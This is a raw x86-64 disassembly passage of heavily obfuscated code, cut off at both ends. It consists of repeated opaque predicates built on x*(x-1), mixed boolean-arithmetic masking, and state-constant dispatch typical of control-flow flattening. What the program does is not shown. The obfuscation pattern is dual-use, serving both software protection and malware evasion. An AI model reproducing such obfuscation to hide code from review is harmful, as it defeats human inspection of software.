xor bl, al
or al, dl
xor al, 1
or al, bl
mov r8d, ecx
xor r8b, 1
mov ebx, ecx
and bl, r8b
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and bl, al
or bl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, bl
test cl, 1
mov edx, 0xbc864992
mov ecx, 0xd0c46327
cmovne edx, ecx
test al, 1
mov ecx, 0xbc864992
cmovne ecx, edx
jmp 0x14015a97a
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xfffffffe
mov edx, ebx
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x32d5735e
and edx, 0xcd2a8ca1
or edx, edi
and ebx, 0x32d5735e
and ecx, 0xcd2a8ca1
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor al, dl
or bl, cl
xor bl, 1
or bl, al
mov edx, ebx
not dl
mov ecx, eax
xor cl, 1
and al, bl
and dl, cl
or dl, al
mov eax, ebx
and al, cl
xor cl, bl
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0xf035585f
mov ebp, 0xa6f22c14
cmovne ecx, ebp
test dl, dl
cmove ecx, ebp
test al, 1
mov eax, 0xf035585f
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xc505c9a2
and edx, 0x3afa365d
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3afa365d
and edx, 0xc505c9a2
or edx, ecx
mov esi, edx
not esi
mov ecx, esi
and ecx, 0xf7759b2e
and edx, 0x88a64d1
or edx, ecx
mov ecx, edx
xor ecx, 0x88a64d1
mov edi, edx
xor edi, 0x5f667977
and edi, ecx
or esi, 0xa813e259
mov ebp, esi
not ebp
mov ebx, edi
not ebx
mov eax, ebx
and eax, 0x3fc1e332
and edi, 0xc03e1ccd
or edi, eax
or ebx, esi
and esi, 0x3fc1e332
and ebp, 0x402c1c84
or ebp, esi
xor ebp, edi
not ebx
or ebx, ebp
mov eax, ebx
not eax
and eax, 0x57ec1da7
and ebx, 0xa813e258
or ebx, eax
xor edx, 0xb0259900
and edx, 0xb825d980
mov eax, ecx
and eax, 0x47da267f
or eax, edx
xor eax, 0xb825d981
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov eax, ecx
not eax
and eax, 0xbf396d44
and ecx, 0x40c692bb
or ecx, eax
mov eax, ecx
xor eax, 0xc61020
xor ecx, 0xbf396d44
mov edx, ecx
and edx, 0xe321afdb
and eax, 0x1cde5024
or eax, edx
xor eax, 0x1cde5024
or eax, ecx
cmp eax, 0xffffffff
sete al
setne dl
cmp r8d, 9
setg cl
cmp r8d, 0xa
setl bl
and bl, dl
and al, cl
or al, bl
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov edx, eax
xor dl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
not bl
and bl, dl
or dl, cl
and cl, al
or cl, bl
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xf77a1869
mov ebp, 0x9d8d6291
cmovne eax, ebp
test cl, cl
mov ecx, eax
mov ebp, 0xf77a1869
jmp 0x140159a33
mov edx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
or edx, 0x9b920ba9
mov ebp, edx
not ebp
mov edi, ecx
xor edi, 0x646df456
and edi, ecx
mov esi, edi
not esi
mov eax, edx
and eax, 0xc4598bba
and ebp, 0x20247444
or ebp, eax
or edx, esi
and esi, 0xc4598bba
and edi, 0x3ba67445
or edi, esi
xor edi, ebp
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0x9b920ba8
and edx, 0x646df457
or edx, eax
not edx
and ebx, 0xbc5b4d1f
and ecx, 0x43a4b2e0
or ecx, ebx
xor ecx, 0x43a4b2e0
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov eax, ecx
not eax
and eax, 0x5c2ee7ef
and ecx, 0xa3d11810
or ecx, eax
xor ecx, 0xa3d11810
sete r9b
cmp r8d, 9
setg al
cmp r8d, 0xa
setl r8b
mov edx, r9d
xor dl, r8b
mov ecx, edx
or cl, al
mov r10d, ecx
xor r10b, 1
xor al, r9b
not al
and al, r9b
and dl, r8b
mov ebx, eax
and bl, dl
xor dl, al
or dl, bl
mov eax, edx
not al
and cl, r10b
and al, dl
xor cl, 1
mov ebx, r10d
xor bl, cl
or cl, r10b
xor cl, 1
or cl, bl
xor al, 1
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov ebx, ecx
xor bl, 1
and bl, al
xor al, 1
and al, cl
or al, bl
mov ecx, r10d
xor cl, dl
or dl, r10b
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0xf8c3619a
mov ebp, 0x3f18be73
cmovne edx, ebp
test al, 1
cmove edx, ebp
not cl
test cl, 1
mov eax, 0xf8c3619a
cmovne edx, eax
jmp 0x14015a76d
mov ecx, dword [0x14024b6d8]
mov r8d, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x4cd2ed89
and ecx, edx
not edx
and edx, 0x4cd2ed89
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xb32d1276
and ecx, 0x4cd2ed89
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
or edx, 0x6e59ae93
mov ebp, edx
not ebp
mov edi, ecx
xor edi, 0x91a6516c
and edi, ecx
mov esi, edi
not esi
mov eax, edx
and eax, 0x4b1bf7af
and ebp, 0x90a40040
or ebp, eax
or edx, esi
and esi, 0x4b1bf7af
and edi, 0xb4e40850
or edi, esi
xor edi, ebp
not edx
or edx, edi
mov eax, edx
not eax
and eax, 0xdffb7083
and edx, 0x20048f7c
or edx, eax
xor edx, 0xb1a2de11
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov eax, ecx
not eax
and eax, 0x56d9f6b1
and ecx, 0xa926094e
or ecx, eax
xor ecx, 0xa926094e
mov eax, edx
and eax, ecx
xor ecx, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xa0904242
and ecx, 0x4492099
or ecx, eax
mov ebp, ecx
xor ebp, 0x4002011
xor ecx, 0x30b2c660
or edx, 0xa4d962db
mov eax, edx
not eax
and ecx, 0x30fbc6e8
and ebp, 0x84002013
or ebp, ecx
and edx, 0x30fbc6e8
and eax, 0x4b041904
or eax, edx
xor eax, ebp
mov ecx, eax
not ecx
and ecx, 0x5b269d24
and eax, 0xa4d962db
or eax, ecx
sete r9b
setne r10b
cmp r8d, 9
setg bl
cmp r8d, 0xa
setl al
mov ecx, r10d
or cl, al
xor cl, 1
xor r10b, bl
or bl, r9b
xor bl, 1
mov edx, ecx
and dl, bl
xor bl, cl
or bl, dl
mov edx, eax
and dl, r9b
xor al, r9b
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov edx, ebx
xor dl, 1
and dl, al
xor al, 1
mov ecx, ebx
xor cl, al
and cl, bl
and al, bl
or al, dl
mov edx, ecx
xor dl, al
test al, 1
mov eax, 0xb61287fd
mov ebp, 0x741ad853
cmovne eax, ebp
test cl, cl
mov ecx, 0xb61287fd
jmp 0x14015be37
mov edx, dword [0x14024b6d8]
mov esi, dword [0x14024b6d4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x50fcaa8
and edx, ecx
and ecx, 0xfaf03557
or ecx, ebp
xor ecx, 0xfaf03557
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0xedd3fd4f
and ecx, 0x122c02b0
or ecx, edx
mov ebx, ecx
xor ebx, 0x20002b1
mov edx, ebp
not edx
xor ecx, 0xedd3fd4e
mov edi, edx
and edi, 0x117d644a
and ebp, 0xee829bb5
or ebp, edi
or edx, ecx
and ecx, 0x117d644a
and ebx, 0xee829bb5
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x48041dd0
and edx, 0xb7fbe22f
or edx, ecx
mov ecx, edx
xor ecx, 0x17126025
xor edx, 0x8041400
and edx, 0xa8ed960a
and ecx, 0x571269f5
or ecx, edx
mov edx, ecx
xor edx, 0x21229f0
xor ecx, 0x28650400
and ecx, 0x7d654405
and edx, 0x829abbfa
or edx, ecx
mov ecx, edx
xor ecx, 0x2c444000
xor edx, 0x82083962
and edx, 0xd3293d67
and ecx, 0x2cd6c298
or ecx, edx
xor ecx, 0x2cd6c298
sete dl
setne r9b
cmp esi, 0xa
setl al
cmp esi, 9
setg r8b
mov ecx, r9d
and cl, r8b
mov ebx, eax
and bl, dl
or bl, cl
xor bl, 1
or bl, r8b
or r9b, al
xor dl, al
and dl, al
mov eax, r9d
xor al, dl
xor dl, 1
xor al, 1
or dl, r9b
xor dl, 1
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x56970cad
mov ecx, 0x6ad3e6b3
cmovne ebp, ecx
test al, 1
mov ecx, 0x56970cad
jmp 0x14015ac40
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0x3a9d3421
and edx, 0xc562cbde
or edx, ecx
mov ebp, edx
xor ebp, 0x802081c6
xor edx, 0x1a040421
and edx, 0x5f464e39
and ebp, 0xa0b9b1c6
or ebp, edx
mov edx, ebp
not edx
xor ebp, 0xa0b9b1c6
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0xeb523279
and ebx, 0x14adcd86
or ebx, edi
or ecx, ebp
and ebp, 0xeb523279
and edx, 0x14adcd86
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x10501820
mov ebp, ecx
and ebp, 0xa1a04602
or ebp, edx
xor ebp, 0xa1a04602
and ecx, 0x4e0fa1dd
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4e0fa1dd
and ecx, 0xb1f05e22
or ecx, edx
mov edx, ecx
not edx
and edx, 0x430318e6
and ecx, 0xbcfce719
or ecx, edx
xor ecx, 0xbcfce719
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg bl
and dl, bl
and cl, r8b
or cl, dl
xor cl, 1
or cl, bl
mov eax, ebx
xor al, r8b
not al
and al, r8b
or bl, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ebx, ecx
xor bl, dl
and bl, cl
and dl, cl
or dl, al
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0xcabd9709
mov ebp, 0xfc9e81f3
cmovne ecx, ebp
test bl, 1
mov edx, 0xcabd9709
cmove ecx, edx
test al, 1
jmp 0x14015ba61
mov ecx, dword [0x14024b6d8]
lea eax, [rcx - 1]
imul eax, ecx
mov edx, eax
not edx
mov ebp, edx
and ebp, 0xfffffffe
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
and edx, 0x163a6173
and eax, 0xe9c59e8c
or eax, edx
mov edx, eax
xor edx, 0x41001084
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, 0xb8c58f6b
and ecx, 0x473a7094
or ecx, ebp
xor eax, 0x10000163
and eax, 0xb8c58f6b
and edx, 0x473a7094
or edx, eax
xor edx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete al
setne cl
cmp dword [0x14024b6d4], 0xa
setl bl
xor cl, bl
xor cl, 1
mov edx, ebx
or dl, al
xor dl, 1
or dl, cl
xor al, bl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov eax, 0xb69f466a
mov edx, 0x5ad5f6a8
jmp 0x14015b83b
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xcc65725e
and ecx, edx
and edx, 0x339a8da1
or edx, ebp
xor edx, 0x339a8da1
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0x7d772561
and edx, 0x8288da9e
or edx, ebp
mov ebp, edx
xor ebp, 0x80c81c
xor edx, 0x7d772560
mov edi, ecx
and edi, 0xdb0c32e3
and ebx, 0x24f3cd1c
or ebx, edi
or ecx, edx
and edx, 0xdb0c32e3
and ebp, 0x24f3cd1c
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa9e8ee0b
and edx, ecx
and ecx, 0x561711f4
or ecx, ebp
mov ebp, ecx
xor ebp, 0x101014
xor ecx, 0xa9e8ee0b
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xdeef89e1
and ebp, 0x2110761e
or ebp, edi
or ecx, ebx
and ebx, 0xdeef89e1
and edx, 0x2110761e
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x61a26d8f
and ecx, 0x9e5d9270
or ecx, ebp
xor ecx, 0x9e5d9270
or ecx, edx
cmp ecx, 0xffffffff
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov ecx, ebx
xor cl, 1
or cl, bl
xor cl, 1
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
mov ebx, r9d
xor bl, cl
mov edx, ebx
and dl, r9b
and bl, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
and r9b, r10b
or r10b, r8b
xor r10b, 1
and al, r8b
or al, r9b
mov ecx, r10d
and cl, al
xor al, r10b
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ebx, edx
xor bl, al
test al, 1
mov ecx, 0xc1202c2c
mov ebp, 0x3b244548
cmovne ecx, ebp
test dl, 1
mov eax, 0xc1202c2c
cmove ecx, eax
test bl, 1
jmp 0x14015ba61
mov ecx, dword [0x14024b6d8]
mov esi, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5d9908df
and ecx, edx
and edx, 0xa266f720
or edx, ebp
xor edx, 0xa266f720
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xfffffffe
and edx, 1
or edx, ebp
mov ebp, edx
not ebp
mov edi, ecx
and edi, 0x751c89fa
and ebx, 0x8ae37604
or ebx, edi
or ecx, ebp
and ebp, 0x751c89fa
and edx, 0x8ae37605
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x82258120
mov ebp, ecx
and ebp, 0x20420a91
or ebp, edx
xor ebp, 0x20420a91
and ecx, 0x5d98744e
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x3c1b6241
and ecx, 0xc3e49dbe
or ecx, edx
mov edx, ecx
xor edx, 0x2183120b
xor ecx, 0x9e7ce9f0
mov ebp, ecx
and ebp, 0x485ce5f4
and edx, 0xb7a31a0b
or edx, ebp
xor edx, 0xb7a31a0b
or edx, ecx
cmp edx, 0xffffffff
sete r9b
setne bl
cmp esi, 0xa
setl dl
cmp esi, 9
setg r8b
xor r8b, bl
mov r10d, r8d
xor r10b, 1
xor bl, dl
xor bl, 1
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor dl, 1
mov eax, ebx
and al, dl
xor dl, bl
or dl, al
mov ebx, edx
xor bl, 1
and bl, dl
xor bl, 1
mov eax, edx
xor al, bl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
xor dl, 1
mov eax, edx
mov r9d, r10d
mov r11d, r10d
and r11b, dl
xor dl, r10b
and r10b, r8b
and al, bl
xor r9b, r10b
xor r10b, 1
or r10b, r8b
xor r10b, 1
or r10b, r9b
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
xor al, r10b
or dl, r11b
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x103585ed
mov edx, 0xb23ed14f
cmovne ecx, edx
test al, 1
cmove ecx, edx
test bl, 1
mov eax, 0x103585ed
jmp 0x14015c0d8
mov ecx, 0xeaea9710
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov eax, dword [0x14024b6d8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0x1fba81b8
mov ecx, ebp
and ecx, 0xe0457e46
or ecx, edx
xor ecx, 0xe0457e46
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and eax, ecx
and edx, ebp
or edx, eax
not edx
or edx, ecx
cmp edx, 0xffffffff
sete al
cmp dword [0x14024b6d4], 9
setg cl
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, cl
and bl, dl
not dl
and dl, al
or cl, al
mov eax, ecx
xor al, dl
xor dl, 1
xor al, 1
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
mov ecx, ebx
xor cl, dl
and cl, bl
and dl, bl
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x1a469aac
mov ebp, 0x1bcdb417
cmovne eax, ebp
test dl, dl
mov edx, eax
cmovne edx, ebp
test cl, cl
jmp 0x1401585a4
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0x354caca0
mov ecx, ebp
and ecx, 0xcab3535e
or ecx, edx
xor ecx, 0xcab3535e
mov edx, ebp
and edx, 1
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x46b4025
and edx, 0xfb94bfda
or edx, ecx
mov ecx, edx
xor ecx, 0x3804b05a
and ebx, 0xd70e2ade
and ebp, 0x28f1d521
or ebp, ebx
mov ebx, ebp
xor ebx, 0x2820d021
xor edx, 0x46b4025
xor ebp, 0xd70e2ade
mov edi, edx
and edi, 0xc7d10f84
and ecx, 0x382ef07b
or ecx, edi
or edx, ebp
and ebp, 0xc7d10f84
and ebx, 0x382ef07b
or ebx, ebp
xor ebx, ecx
not edx
or edx, ebx
cmp edx, 0xffffffff
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r10b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
and bl, al
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
and al, r10b
xor bl, 1
and bl, cl
or bl, al
and r9b, r10b
or r10b, r8b
xor r10b, 1
and cl, r8b
or cl, r9b
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
not al
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
xor bl, 1
mov edx, eax
and dl, cl
mov r8d, edx
and r8b, al
xor dl, al
or dl, r8b
xor dl, bl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, edx
xor al, bl
test bl, 1
mov ecx, 0xb0f6a472
mov ebp, 0xde71e7e8
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xb0f6a472
jmp 0x14015c0d8
mov ecx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ebp, edx
not ebp
mov ecx, ebp
or ecx, 1
mov ebx, ecx
not ebx
and ebp, 0xefa77104
and edx, 0x10588efb
or edx, ebp
mov ebp, edx
xor ebp, 0x400ea0
xor edx, 0xefa77105
mov edi, ecx
and edi, 0xff98c15b
and ebx, 0x673ea4
or ebx, edi
or ecx, edx
and edx, 0xff98c15b
and ebp, 0x673ea4
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x8bef449d
and edx, ecx
and ecx, 0x7410bb62
or ecx, ebp
mov ebp, ecx
xor ebp, 0x40101042
xor ecx, 0x8bef449d
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x3687ef25
and ebp, 0xc97810da
or ebp, edi
or ecx, ebx
and ebx, 0x3687ef25
and edx, 0xc97810da
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
setne r10b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r8b
mov edx, r9d
xor dl, r10b
and dl, r9b
mov ebx, edx
xor bl, 1
mov eax, ebx
and al, dl
mov r11d, ebx
and r11b, al
xor al, bl
or al, r11b
xor al, 1
or bl, dl
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, r8d
xor al, bl
xor al, 1
and al, bl
or bl, r8b
xor bl, 1
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
xor r10b, r8b
xor r10b, 1
mov eax, ecx
and al, r9b
xor cl, r9b
or cl, al
mov eax, r10d
xor al, cl
or cl, r10b
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, ebx
xor dl, 1
mov ecx, eax
xor cl, 1
and al, dl
or dl, cl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xf9ff704
mov ebp, 0xb41f2756
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0xf9ff704
cmovne ecx, ebp
test dl, 1
cmovne ecx, eax
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0x2b5519b4
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xe6b03ac9
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov ecx, 0xf6b1e5ef
cmp ecx, 0xf7d71d84
jg 0x14014db60
jmp 0x14014d70c
mov edx, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea esi, [rdx - 1]
imul esi, edx
mov edi, esi
not edi
mov edx, edi
or edx, 0xfe1a8a7a
mov ebx, edx
not ebx
mov ebp, esi
or ebp, 0x241084
and ebp, 0xb43e18d4
mov eax, edi
and eax, 0x4a00822a
or eax, ebp
and edx, 0xb43e18d4
and ebx, 0x1c16501
or ebx, edx
xor ebx, eax
mov eax, ebx
not eax
and eax, 0xd1dfacde
and ebx, 0x2e205321
or ebx, eax
mov eax, ebx
xor eax, 0xd03ad95a
xor ebx, 0x2fc526a5
and edi, ebx
and eax, esi
or eax, edi
xor ebx, eax
test ebx, eax
sete r8b
setne bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg cl
mov edx, ecx
and dl, bl
and r8b, cl
xor cl, bl
or cl, dl
mov r9d, ecx
xor r9b, 1
and al, bl
or al, r8b
mov r10d, eax
xor r10b, 1
mov edx, eax
and dl, r10b
mov r8d, edx
and r8b, al
xor dl, al
or al, r9b
and r9b, cl
xor r9b, 1
mov ebx, r9d
xor bl, cl
or r9b, cl
xor r9b, 1
or r9b, bl
or dl, r8b
xor dl, r9b
xor r10b, cl
xor al, 1
or al, r10b
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0xe25cc9e9
mov eax, 0x9c0a9e34
cmovne ecx, eax
test dl, 1
cmove ecx, eax
test bl, 1
mov eax, 0xe25cc9e9
jmp 0x14015c0d8
mov eax, dword [0x14024b6d8]
mov r10d, dword [0x14024b6d4]
lea ebp, [rax - 1]
imul ebp, eax
mov edi, ebp
not edi
mov ebx, edi
and ebx, 0x68d1ca6
mov eax, ebp
and eax, 0xf972e359
or eax, ebx
mov ebx, eax
xor ebx, 0x8600110
xor eax, 0x2851806
mov edx, ebp
xor edx, 0x4af75b16
and edx, ebp
or eax, 0xb508a4e9
mov esi, edx
not esi
mov ecx, eax
and ecx, 0xd79eeace
and ebx, 0x8611110
or ebx, ecx
or eax, esi
and esi, 0xd79eeace
and edx, 0x28611531
or edx, esi
xor edx, ebx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xb508a4e8
and eax, 0x4af75b17
or eax, ecx
mov ecx, eax
not ecx
and edi, ecx
and eax, ebp
or eax, edi
xor ecx, eax
test ecx, eax
setne r8b
sete r9b
cmp r10d, 9
setg sil
cmp r10d, 0xa
setl r10b
mov eax, r10d
xor al, sil
and al, r10b
mov r11d, r9d
xor r11b, r8b
and r11b, r9b
mov ecx, eax
xor cl, 1
mov edx, eax
and dl, cl
mov ebx, edx
xor bl, 1
xor dl, al
or bl, cl
xor bl, 1
or bl, dl
or cl, al
mov eax, ecx
xor al, bl
xor bl, 1
xor al, 1
or bl, cl
xor bl, 1
or bl, al
mov eax, r11d
xor al, 1
mov edx, r11d
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
or al, r11b
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
mov eax, edx
xor al, 1
and dl, al
xor dl, 1
mov ecx, edx
xor cl, al
or dl, al
xor dl, 1
or dl, cl
xor dl, bl
mov ebx, edx
xor bl, 1
and r8b, r10b
or r10b, r9b
and sil, r9b
or sil, r8b
xor sil, 1
mov eax, r10d
xor al, sil
or sil, r10b
xor sil, 1
or sil, al
mov eax, esi
xor al, 1
mov ecx, eax
and cl, sil
xor al, cl
xor cl, 1
or cl, sil
xor cl, 1
or cl, al
mov eax, ecx
xor al, 1
and cl, bl
or bl, al
and al, dl
or al, cl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0x7a744e2b
mov ecx, 0xc4fb936a
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0x7a744e2b
cmovne ecx, eax
test bl, 1
jmp 0x14015c322
mov eax, dword [0x14024b6d8]
mov ecx, dword [0x14024b6d4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebp, eax
and ebp, 0x6545f06
mov edx, edi
and edx, 0xf9aba0f8
or edx, ebp
xor edx, 0xf9aba0f8
mov ebx, edi
and ebx, 1
or ebx, edx
mov edx, ebx
not edx
mov ebp, edx
and ebp, 0x9989f5c9
and ebx, 0x66760a36
or ebx, ebp
and edi, 0x9989f5c9
and eax, 0x66760a36
or eax, edi
xor eax, ebx
xor edx, eax
test edx, eax
setne dl
sete bl
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r8b
xor r8b, bl
xor dl, al
xor dl, 1
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, r8b
xor dl, 1
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x155e1318
mov ebp, 0x3f18be73
cmovne eax, ebp
test dl, 1
cmove eax, ebp
test cl, 1
mov ecx, 0x155e1318
jmp 0x14014d6f9
mov edx, dword [0x14024b6d8]
mov eax, dword [0x14024b6d4]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x747ddf6
mov ecx, ebx
and ecx, 0xf8b82208
or ecx, edx
xor ecx, 0xf8b82208
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
and ebp, 0x648fd090
and ebx, 0x9b702f6f
or ebx, ebp
mov ecx, ebx
xor ecx, 0x8302c67
mov edi, edx
not edi
mov ebp, edi
and ebp, 0xb3470308
and edx, 0x4cb8fcf7
or edx, ebp
xor ebx, 0x20070000
and ebx, 0xb3470308
and ecx, 0x4cb8fcf7
or ecx, ebx
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, cl
or cl, r8b
xor cl, 1
or cl, dl
